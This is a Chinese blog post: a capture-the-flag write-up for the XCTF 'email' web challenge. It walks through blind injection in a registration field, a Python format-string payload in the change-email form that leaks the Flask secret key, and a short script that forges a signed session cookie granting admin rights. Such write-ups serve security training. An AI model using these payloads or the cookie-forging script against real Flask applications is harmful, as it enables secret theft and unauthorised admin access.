刘功瑞的博客

有一天你突然惊醒,发现这一切,都只不过是一场梦。

攻防世界 XCTF Web email Writeup(flask,python字符串格式化漏洞)

image.png

image.png

只有注册和登录,根据题目提示发现注册的email字段有盲注漏洞,跑出admin密码为h4ck4fun

登录admin,发现多了个修改邮箱功能

image.png


根据提示 secret in /flag ,访问http://220.249.52.133:34412/flag

image.png

根据提示猜测应该需要获取secret_key重新加密cookie,增加isadmin字段,才能得到flag。

修改邮箱的接口处传入 mail={user.__class__.__init__.__globals__[current_app].config}@qq.com,得到secret_key

mail={user.__class__.__init__.__globals__[capp].secret_key}@qq.com 也可以

image.png

使用脚本重新加密cookie

from flask.sessions import SecureCookieSessionInterface
import traceback
import ast

class MockApp(object):
    def __init__(self, secret_key):
        self.secret_key = secret_key

def encode(secret_key, session_cookie_structure):
    try:
        app = MockApp(secret_key)
        session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
        si = SecureCookieSessionInterface()
        s = si.get_signing_serializer(app)
        return s.dumps(session_cookie_structure)
    except Exception as e:
        traceback.print_exc()
        raise Exception, "error"
        return False

if __name__ == "__main__":
    payload = "{'isadmin': 1, 'user': (1, 'admin', 'admin@qq.com')}"
    key = '5d2b90b3752f9fc73310f89b8cfc265b'
    print(encode(key, payload))


得到flag

image.png

发表评论:

Powered By Z-BlogPHP 1.5.2 Zero

Copyright www.liugongrui.com.All Rights Reserved.